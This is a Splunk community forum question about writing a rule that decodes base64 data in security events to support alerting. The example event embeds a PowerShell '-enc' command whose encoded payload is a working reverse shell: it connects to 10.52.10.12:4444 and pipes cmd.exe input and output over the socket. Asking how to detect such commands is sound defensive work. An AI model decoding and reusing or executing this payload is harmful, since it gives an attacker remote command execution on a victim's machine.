Alerting

Decode base64 data from events

frazvan
New Member

Hello, everyone,

Hope to find an answer here.

I am having some events with some base64 encoded data within them. I would like to write a rule which will decode the base64 command, in order to create a more complex alerting rule, based on the content of that base64 command.

Below is an example (Only a small part, the encoded part of the event):

Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc ZgB1AG4AYwB0AGkAbwBuACAAQwBsAGUAYQBuAFUAcAAgAHsACgAJAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsACgAJAAkAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgAJAH0ACgAKAAkAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEMAbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKAAkACQAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAAoACQB9AAoACgAJAGUAeABpAHQACgB9AAoACgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0AAoAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAKAAnADEAMAAuADUAMgAuADEAMAAuADEAMgAnACwAIAA0ADQANAA0ACkACgAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBuAGUAIAAkAHQAcgB1AGUAKQAgAHsACgAJAEMAbABlAGEAbgBVAHAACgB9AAoACgAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAKACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAkAGMAbABpAGUAbgB0AC4AUgBlAGMAZQBpAHYAZQBCAHUAZgBmAGUAcgBTAGkAegBlAAoACgAkAHAAcgBvAGMAZQBzAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAYwBtAGQALgBlAHgAZQAnAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0ACAAPQAgADEACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACAAPQAgADAACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAAoACgAkAGkAbgBwAHUAdABTAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AAoAJABvAHUAdABwAHUAdABTAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQACgAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADEACgAKACQAZQBuAGMAbwBkAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAHMAYwBpAGkARQBuAGMAbwBkAGkAbgBnAAoACgB3AGgAaQBsAGUAIAAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAIAB7AAoACQAkAG8AdQB0AHAAdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAAoAfQAKAAoAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvAHUAdABwAHUAdAApACwAIAAwACwAIAAkAG8AdQB0AHAAdQB0AC4ATABlAG4AZwB0AGgAKQAKAAoAJABvAHUAdABwAHUAdAAgAD0AIAAkAG4AdQBsAGwACgAKAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoACQBpAGYAIAAoACQAYwBsAGkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AAoACQAJAEMAbABlAGEAbgBVAHAACgAJAH0ACgAKAAkAJABwAG8AcwAgAD0AIAAwAAoACQAkAGkAIAA9ACAAMQAKAAoACQB3AGgAaQBsAGUAIAAoACgAJABpACAALQBnAHQAIAAwACkAIAAtAGEAbgBkACAAKAAkAHAAbwBzACAALQBsAHQAIAAkAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewAKAAkACQAkAHIAZQBhAGQAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAdQBmAGYAZQByACwAIAAkAHAAbwBzACwAIAAkAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAIAAtACAAJABwAG8AcwApAAoACQAJACQAcABvAHMAIAArAD0AIAAkAHIAZQBhAGQACgAKAAkACQBpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AYgBbADAALgAuACQAKAAkAHAAbwBzAC0AMQApAF0AIAAtAGMAbwBuAHQAYQBpAG4AcwAgADEAMAApACkAIAB7AAoACQAJAAkAYgByAGUAYQBrAAoACQAJAH0ACgAKAAkACQBpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsACgAJAAkACQAkAHMAdAByAGkAbgBnACAAPQAgACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAdQBmAGYAZQByACwAIAAwACwAIAAkAHAAbwBzACkACgAJAAkACQAkAGkAbgBwAHUAdABTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwB0AHIAaQBuAGcAKQAKAAkACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADEACgAKAAkACQAJAGkAZgAgACgAJABwAHIAbwBjAGUAcwBzAC4ARQB4AGkAdABDAG8AZABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsACgAJAAkACQAJAEMAbABlAGEAbgBVAHAACgAJAAkACQB9ACAAZQBsAHMAZQAgAHsACgAJAAkACQAJACQAbwB1AHQAcAB1AHQAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAAoACgAJAAkACQAJAHcAaABpAGwAZQAgACgAJABvAHUAdABwAHUAdABTAHQAcgBlAGEAbQAuAFAAZQBlAGsAKAApACAALQBuAGUAIAAtADEAKQAgAHsACgAJAAkACQAJAAkAJABvAHUAdABwAHUAdAAgACsAPQAgACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAG8AdQB0AHAAdQB0AFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACkAKQAKAAoACQAJAAkACQAJAGkAZgAgACgAJABvAHUAdABwAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAKAAkACQAJAAkACQAJACQAbwB1AHQAcAB1AHQAIAA9ACAAJwAnAAoACQAJAAkACQAJAH0ACgAJAAkACQAJAH0ACgAKAAkACQAJAAkAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvAHUAdABwAHUAdAApACwAIAAwACwAIAAkAG8AdQB0AHAAdQB0AC4ATABlAG4AZwB0AGgAKQA7AAoACQAJAAkACQAkAG8AdQB0AHAAdQB0ACAAPQAgACQAbgB1AGwAbAAKAAkACQAJAAkAJABzAHQAcgBpAG4AZwAgAD0AIAAkAG4AdQBsAGwACgAJAAkACQB9AAoACQAJAH0AIABlAGwAcwBlACAAewAKAAkACQAJAEMAbABlAGEAbgBVAHAACgAJAAkAfQAKAAkAfQAKAH0ACgA=

I would like to have a rule which will decode the encoded data in order to create the final alerting rule.

I am curious, how you can accomplish that?

Many thanks in advance!

0 Karma
Get Updates on the Splunk Community!

Adoption of RUM and APM at Splunk

    Unleash the power of Splunk Observability   Watch Now In this can't miss Tech Talk! The Splunk Growth ...

March Community Office Hours Security Series Uncovered!

Hello Splunk Community! In March, Splunk Community Office Hours spotlighted our fabulous Splunk Threat ...

Stay Connected: Your Guide to April Tech Talks, Office Hours, and Webinars!

Take a look below to explore our upcoming Community Office Hours, Tech Talks, and Webinars in April. This post ...